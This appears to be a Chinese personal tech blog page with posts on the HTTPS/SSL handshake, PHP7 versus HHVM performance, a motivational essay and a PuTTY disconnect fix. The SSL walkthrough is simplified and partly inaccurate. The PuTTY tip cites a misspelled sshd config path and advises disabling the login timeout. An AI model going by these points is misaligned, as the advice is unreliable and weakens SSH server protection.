  上面所述的是双向认证 SSL 协议的具体通讯过程,这种情况要求服务器和用户双方都有证书。单向认证 SSL 协议不需要客户拥有 CA 证书,具体的过程相对于上面的步骤,只需将服务器端验证客户证书的过程去掉,以及在协商对称密码方案,对称通话密钥时,服务器发送给客户的是没有加过密的(这并不影响 SSL 过程的安全性)密码方案。这样,双方具体的通讯内容,就是加过密的数据,如果有第三方攻击,获得的只是加密的数据,第三方要获得有用的信息,就需要对加密的数据进行解密,这时候的安全就依赖于密码方案的安全。而幸运的是,目前所用的密码方案,只要通讯密钥长度足够的长,就足够的安全。这也是我们强调要求使用 128 位加密通讯的原因。

Posted in 架构运维 | Tagged , | Leave a comment

PHP7和HHVM的性能之争

PHP语言的排名变化

根据“TIOBE编程语言排行榜”(榜单虽然统计方式有局限,但是仍然不失为一个比较好的参考),2010年PHP最高曾经在世界编程语言中排名第三。可见,PHP语言在PC互联网时代的Web领域可谓叱咤风云,擎天一柱。

在PHP程序员中,曾经流传着一个段子:
某女:你能让这个论坛的人都吵起来,我就跟你吃饭。
PHP程序员:PHP是世界上最好的语言!
某论坛炸锅了,各种吵架……
某女:服了你了,我们走吧!
PHP程序员:今天不行,我一定要说服他们,PHP必须是最好的语言。

好了,我们言归正传,语言本身无分好坏,只是在各自使用的场景中解决不同的问题。互联网的时代车轮是很快的,随着移动互联网的到来,在短短四年多的时间里,移动端技术发展横扫全球。与此同时,各种语言群雄并起,而昔日辉煌的PHP从原来的编程语言的榜单看,下降到第六位(2014年12月榜单)。于是,唱衰PHP的声音此起彼伏。

但是,在2014年的Qcon分享中有一个数据,全球排名前100万的网站中,81.3%使用的Web服务端脚本语言是PHP,2013年同期是78.3%。也就是说,PHP的在Web服务方面并没有减少,只是在移动互联网浪潮中,增加了很多的其他语言技术的应用,进而被稀释了。

最近关于PHP7和HHVM的性能对比,成为了一个热点的争议话题,大家都在讨论和关注哪一个才是PHP性能提升的未来。

HHVM(HipHop Virtual Machine)的起源

HHVM是一个开源的PHP虚拟机,使用JIT的编译方式以及其他技术,让PHP代码的执行性能大幅提升。据传,可以将当前版本的原生PHP代码提升5-10倍的执行性能。

HHVM起源于Facebook公司,Facebook早起的很多代码是使用PHP来开发的,但是,随着业务的快速发展,PHP执行效率成为越来越明显的问题。为了优化执行效率,Facebook在2008年就开始使用HipHop,这是一种PHP执行引擎,最初是为了将Fackbook的大量PHP代码转成 C++,以提高性能和节约资源。使用HipHop的PHP代码在性能上有数倍的提升。后来,Facebook将HipHop平台开源,逐渐发展为现在的HHVM。

1. PHP为什么慢?

PHP的慢是相对于C/C++级别的语言来说,事实上,PHP语言最初的设计,就不是用来解决计算密集型的应用场景。我们可以这样粗略理解为,PHP为了提升开发效率,而牺牲了执行效率。

我们知道PHP一个很大的特点,就是弱类型特性,也就是说,我可以随意定义一个变量,然后给它随意赋值为各种类型的数据。以一个int整型数字为例子,在C语言中:

int num = 200;//通常是4字节

但是,如果是PHP定义了一个同样的变量,实际对应的存储结构则是:

这个结构体将会占据远比C变量多得多的内存,PHP中定义方式如下:

$a = 200;//这变量将实际占用对比C变量很多倍的存储空间。

其实对PHP来说,无论存储什么类型的数据,都是用上述“通杀”的结构体实现。为了兼容PHP程序员的变量类型“乱入”,PHP做到了对开发者的友好,但是对执行引擎很残酷。单个变量内存消耗可能还不明显,一旦用到PHP的数组等,则复杂度指数上升(数组的实现是HashTable)。然后,Zend引擎执行时,将这些PHP代码编译为opcode(PHP的中间字节码,格式有点类似于汇编),由Zend引擎逐行解释执行。

无论是字符串的连接操作,还是数组的简单修改等,几乎都是“PHP程序员一句话,Zend引擎跑断腿”的节奏。因此,同样的操作,对比C来说,PHP消耗了更多的CPU和内存等系统资源。除此之外,还有内存自动回收、变量类型判断等等,都会增加系统资源的消耗。

例如,我用纯PHP实现的快速排序函数和原生sort函数,排序10000个整型数字,来做一个耗时对比,结果如下:

原生的sort耗时3.44 ms,而我们自己实现的PHP函数sort则是68.79 ms。我们发现,两者执行效率差距巨大。我的测试方式,是计算函数执行前后的时间间隔,而不是整个PHP脚本从启动到结束的时间。PHP脚本启动和关闭过程,本身有着一系列的初始化和清理工作,也会占据不少的耗时。

通常情况下,PHP执行效率的排行是:

1 最快的是PHP语言结构(isset、echo等),PHP语言的一部分(它们根本不是函数)。
2 然后比较快的就是PHP的原生和拓展函数。PHP拓展,基于Zend API之上,用C实现的功能,执行效率和C++/Java是属于同一个数量级的。
3 真正慢的就是,我们通过PHP自己写的代码和函数。例如,假如我们使用的比较重的纯PHP实现的框架,因为框架本身的模块很多,所以,会明显拖累语言层面的执行效率,同时占据更多的内存。(国内的Yaf框架,以拓展的方式实现,因此执行效率远快于纯PHP写的框架)

在一般情况下,我们并不推荐用过PHP实现逻辑复杂计算类型的功能,尤其是Web系统流量比较大的场景下。因此,PHP程序员应该对PHP的各种原生函数和各类拓展有一个比较广泛的了解,在具体的功能实现场景中,寻求更原生的解决方案(原生接口或者拓展),而不是自己写一堆复杂的PHP代码来实现这类型功能。

如果有足够的PHP拓展开发实力,将这类型业务功能重写为一个PHP拓展,也会大幅提升代码的执行效率。这是一个非常不错的方式,也被广泛应用PHP优化中。但是,自己编写的PHP业务拓展的缺点也很明显:

1 拓展开发耗时比较长,需求变更的时候修改也复杂,写得不好可能会影响Web服务稳定性。(例如,在Apache的worker模式下,多线程场景下挂掉,会影响同一个进程下的其他正常子线程。如果是多线程的Web模式,编写拓展还需要支持线程安全)
2 拓展在PHP版本升级的时候,可能需要做额外的兼容工作。
3 人员变动后的维护和接手成本也比较高。
实际上,在互联网一线企业中,更常见的解决方案,并非增加PHP拓展,而用C/C++独立写一个服务server,然后PHP通过socket和服务server通信来完成业务处理,并不将PHP本身和业务耦合在一起。

不过,Web服务大部分的性能瓶颈都在网络传输和其他服务server的耗时上(例如MySQL等),PHP执行的耗时在整体耗时的占用比例非常小,所以从业务角度来说,影响可能并不明显。

2. HHVM提升PHP执行性能的方式

HHVM提升PHP性能的途径,采用的方式就是替代Zend引擎来生成和执行PHP的中间字节码(HHVM生成自己格式的中间字节码),执行时通过JIT(Just In Time,即时编译是种软件优化技术,指在运行时才会去编译字节码为机器码)转为机器码执行。Zend引擎默认做法,是先编译为opcode,然后再逐条执行,通常每条指令对应的是C语言级别的函数。如果我们产生大量重复的opcode(纯PHP写的代码和函数),对应的则是Zend多次逐条执行这些C代码。而JIT所做的则是更进一步,将大量重复执行的字节码在运行的时候编译为机器码,达到提高执行效率的目的。通常,触发JIT的条件是代码或者函数被多次重复调用。

普通的PHP代码,因为无法固定变量的类型,需要额外添加判断类型的逻辑代码,这样PHP代码是不利于CPU执行和优化的。因此,HHVM通常需要用到Hack写法(为了兼容某种特性而额外添加的技巧性质的代码)的PHP代码来“配合”,就是为了让变量类型固定,方便虚拟机编译执行。PHP追求以一种形式来容纳一切类型,而Hack则可以将被容纳的一切标记上确定的类型。

PHP代码的Hack写法的例子:

上面的例子中,PHP代码主要被添加上了变量类型。Hack写法的总体方向,就是将之前“动态”的写法变为“静态”的写法,来配合HHVM。

HHVM因为它的高性能而吸引了不少人的关注,一些一线互联网公司也开始跟进使用。从纯语言执行性能测试结果来看,HHVM领先了开发中的PHP7版本不少。

不过,从具体业务场景来看,HHVM和PHP7的差距并没有那么大,以WordPress开源博客首页为测试场景的结果中,他们目前的差距并不明显。

但是,PHP7目前还在开发中,就已经可用的技术方案来看,目前的HHVM略胜一筹。不过,HHVM的部署和应用都存在一些的问题:

1 服务部署比较复杂,有一定维护成本。
2 对PHP原生代码并非完整支持,PHP拓展也需要做适当的兼容。
3 HHVM是个新虚拟机,长时间运行有内存泄露。(据说,一线互联网公司在应用这个技术时,是通过自己打Patch的方式解决内存泄露)
HHVM毕竟是一个相对比较新的开源项目,发展到成熟仍然需要一定时间。
PHP7的性能革新

PHP长期以来饱受批评的性能问题,将会在这个版本得到大幅度的改善。版本中间没有PHP6哈,据说,是因为这个版本曾经立过项目,后来大部分功能都在5.x的版本里实现了,为了避免混淆,下一个大版本直接就是PHP7。(几年以前,我还看到过关于PHP6的书籍。)

1. PHP7的介绍

虽然PHP7的正式版本可能要到2015年的10月份才发布,不过明年6月份应可以看见一个测试版本了,之后是3-4个月的质量保证。

PHP社区的项目计划如下:

因为项目仍然处于开发中的原因,从表格中,可以看见的特性描述都比较模糊。肯定有更多的其他特性,只是尚未公布。下面的这些,是从PHP社区看见的,因为PHP7是一个开发中的项目,下面的这些也不一定准确,不过,不妨碍我们一起来看看。

1 PHPNG(PHP next generation,下一代PHP),对Zend执行引擎本身的各种性能优化,其中JIT,可能会实现在Zend Opcache组件中。
2 AST(Abstract Syntax Tree,抽象语法树),目的是在PHP编译过程引入一个中间件,替代直接从解释器吐出opcode的方式。让解释器和编译器解耦,可以减少大量Hack代码,同时,让实现更容易理解和维护。
3 uniform variable syntax(统一变量语法),引入一种内部一致和完整的变量语法,让PHP的解析器更完整地支持各种类型的变量。部分变量的用法需要调整,例如变量的变量$$a等。
4 支持integer semantics(整型语义),例如NaN、Infinity、<<、>>,修正list()的一致性等等。
上面的特性中,最令人期待的就是PHPng的性能优化,PHP社区已经放出了一些性能的测速数据。从数据上看,PHPng的执行性能比起项目启动之初,已经有接近1倍的提升。这个成绩已经非常不错,况且,最关键的是PHP7的优化计划还有很多尚未完成。等到都全部完成了,相信我们可以看见一个性能更高的PHP7。
这测速数据是来自于PHP社区(wiki.php.net/phpng),截取了一部分的数据:

对其当前PHP5.6版本,PHPNG的10月份性能提升已经非常明显了:

简单翻译下:

综合测试速度提升35%。
在实际应用场景有20%-70%的速度提升(WordPress首页有60%的提升)
更少的内存消耗
支持大部分常用的SAPIs
支持大部分的PHP拓展绑定到资源分配(69个完成,6个待迁移)
提供堪比HHVM3.3.0的执行速度
2. PHP的弱类型争议

PHP被争议的特点很多,但是随着语言版本的发布和完善,功能和特性方面的批评开始变少了。但是,PHP的“弱类型”特性,却明显受到更多的争议,从HHVM通过Hack的方式直接“去掉”了“弱类型”特性可以看出,HHVM并不喜欢“弱类型”特性。然而,在我们很多PHP程序员的眼中,这却是PHP的重要优点之一。PHP里的变量被设计得随性和飘逸,海纳百川,一切皆可包容,不是让语言显得更为简单吗?

实际上,有些人认为它是个严重的问题,对于“弱类型”的批评观点大致如下:

1 在“严谨”的语言中,通常是预先定义好一个变量的类型,自始至终,变量的类型是固定的,使用范围也是固定。而PHP的变量,通常我们只能看见它名字,类型大部分都不可以预先定义,并且还可以随意改变。(内存分配不好管理)
2 为了兼容弱类型特性,PHP需要实现大量兼容代码,包括类型判断、类型转换、存储方式等,增加了语言内部的复杂度。(执行效率低下)
3 变量的类型是不可控的,在执行过程中存在大量的“隐性类型转换”,容易产生不可预知的结果。(这里的确需要强调,PHP的类型转换是个必须掌握的点,各种类型的互相转换的可能会产生很多问题,尤其是初学PHP的同学哈)
他们认为,这些都不符合“所见即所得”的简单性,而语法严谨的语言更高效率,也更容易“理解”。

受到类似批评的还有Javascript等语言,因为它在这个问题上的表现是一样的。但是,一门语言最终被大规模使用,必然有它们的道理。PHP成为Web服务开发的首选脚本语言,Javascript则直接称霸Web前端领域,能走到这一步都不可能是偶然因素,开发者们用脚投票选择了它们。编程语言是人类和机器沟通的桥梁,终极追求是实现“人人皆可编程”的宏伟目标。

纵观语言发展历史,从0和1的机器码开始,到汇编语言,然后到C语言,再到动态脚本语言PHP。执行效率呈指数下降,但是,学习门槛也呈指数降低。PHP语言不仅屏蔽了C的内存管理和指针的复杂性,而且更进一步屏蔽了变量类型的复杂性。提升了项目开发的效率,降低了学习的门槛,但同时牺牲了一定的执行性能。然后,HHVM的Hack给我们一种“回归原始”的感觉,重新引入了变量的复杂性。当然,不同的语言解决不同场景下的问题,并不能够一概而论。

小结

HHVM对PHP的性能提升,让人眼前一亮,而磨刀霍霍的PHP7则让人万分期待。两者都是极其优秀的开源项目,都在不断前进和发展中。就目前而言,因为距离PHP7正式版的发布还有比较长的一段时间,所以当前性能优化方案的首选当然是HHVM。不过,就我个人而言,我比较看好PHP7,因为它更能做到PHP代码的向下兼容。如果两者性能相差不大,我会选择简单的那个。

Posted in PHP服务器脚本, 架构运维 | 1 Comment

告别过去,向美好出发

生活需要努力,但不必过于焦虑与强求

回首过去的时光,我们都经历了很多事。一路走来,有逆旅行舟的坎坷,也有不期而遇的温暖,但无论好的坏的,都要与之告别了。

回首自兹去,萧萧班马鸣

迎接未来最好的方式,就是豁达放下过去,以崭新的姿态重新出发;是与过去握手言和,温暖告别,转身扬帆起航,去奔向美好的明天。

告别负能量

有人感叹,关于生活,最大的感受就是一个“难”字。

是啊,在许多夜深人静时分里,我们一定都曾如此追问过自己,生活为什么这么难,为什么总有解决不完的难题,处理不完的麻烦,对应不完的困境。

可是你知道吗,万物皆有裂缝,那是光照进来的地方。正式熬过了这些无比艰难的时刻,才让我们变得愈加成熟与坚强。

很喜欢这样一句话:我觉得人的脆弱和坚强都超乎自己的想象。有时,可能脆弱的一句话就泪流满面,有时,也发现自己咬着牙走了很长的路。

其实我们一直都比自己想象的要强大,我们所能承受的,也远比想象中多。

所以,当这一年终于过去,我们都要好好感谢那个咬牙不放弃的自己,然后在新的一年里,继续努力做个积极向上的人。遇事尽量远离负能量,多用乐观的心态思考问题,不要轻易对生活失望,更不要轻易否定或放弃自己。

人生不如意事十有八九,不管现在你的处境如何,都请给自己多一些信心,相信不好的事情终将过去,只要心怀希望,一切都会慢慢变好。

Posted in 胡言乱语 | Leave a comment

putty,出现Software caused connection abort的解决方法

在使用putty远程传输大文件的时候经常会遇到错误Software caused connection abort
在很短的时间内就失去连接,并报”Software caused connection abort”
解决办法:首先得排除是网络不是不通畅,然后修改服务器中/etc/ssh/sshd.config 文件,将LoginGraceTime的值设为0,默认为2m,TCPKeepAlive 设为yes, 然后使用service sshd restart来重启sshd服务,这样设置后,Putty没有再掉线了。
错误现象:在很短的时间内就失去连接,并报”Software caused connection abort”
解决办法:首先得排除是网络不是不通畅,然后修改服务器中/etc/ssh/sshd.config 文件,将LoginGraceTime的值设为0,默认为2m,TCPKeepAlive 设为yes, 然后使用service sshd restart来重启sshd服务,这样设置后,Putty不会再掉线了。

Posted in 架构运维 | Leave a comment

Https通讯原理

https是基于安全目的的Http通道,其安全基础由SSL层来保证。最初由netscape公司研发,主要提供了通讯双方的身份认证和加密通信方法。现在广泛应用于互联网上安全敏感通讯。

Https的定义

Https与Http主要区别

协议基础不同:Https在Http下加入了SSL层,

通讯方式不同:Https在数据通信之前需要客户端、服务器进行握手(身份认证),建立连接后,传输数据经过加密,通信端口443

Http传输数据不加密,明文,通信端口80。

SSL协议基础

SSL协议位于TCP/IP协议与各种应用层协议之间,本身又分为两层:

SSL记录协议(SSL Record Protocol):建立在可靠传输层协议(TCP)之上,为上层协议提供数据封装、压缩、加密等基本功能。

SSL握手协议(SSL Handshake Procotol):在SSL记录协议之上,用于实际数据传输前,通讯双方进行身份认证、协商加密算法、交换加密密钥等。

SSL协议通信过程

(1) 浏览器发送一个连接请求给服务器;服务器将自己的证书(包含服务器公钥S_PuKey)、对称加密算法种类及其他相关信息返回客户端;

(2) 客户端浏览器检查服务器传送到CA证书是否由自己信赖的CA中心签发。若是,执行4步;否则,给客户一个警告信息:询问是否继续访问。

(3) 客户端浏览器比较证书里的信息,如证书有效期、服务器域名和公钥S_PK,与服务器传回的信息是否一致,如果一致,则浏览器完成对服务器的身份认证。

(4) 服务器要求客户端发送客户端证书(包含客户端公钥C_PuKey)、支持的对称加密方案及其他相关信息。收到后,服务器进行相同的身份认证,若没有通过验证,则拒绝连接;

(5) 服务器根据客户端浏览器发送到密码种类,选择一种加密程度最高的方案,用客户端公钥C_PuKey加密后通知到浏览器;

(6) 客户端通过私钥C_PrKey解密后,得知服务器选择的加密方案,并选择一个通话密钥key,接着用服务器公钥S_PuKey加密后发送给服务器;

(7) 服务器接收到的浏览器传送到消息,用私钥S_PrKey解密,获得通话密钥key。

(8) 接下来的数据传输都使用该对称密钥key进行加密。

上面所述的是双向认证 SSL 协议的具体通讯过程,服务器和用户双方必须都有证书。由此可见,SSL协议是通过非对称密钥机制保证双方身份认证,并完成建立连接,在实际数据通信时通过对称密钥机制保障数据安全性


Posted in 架构运维 | Leave a comment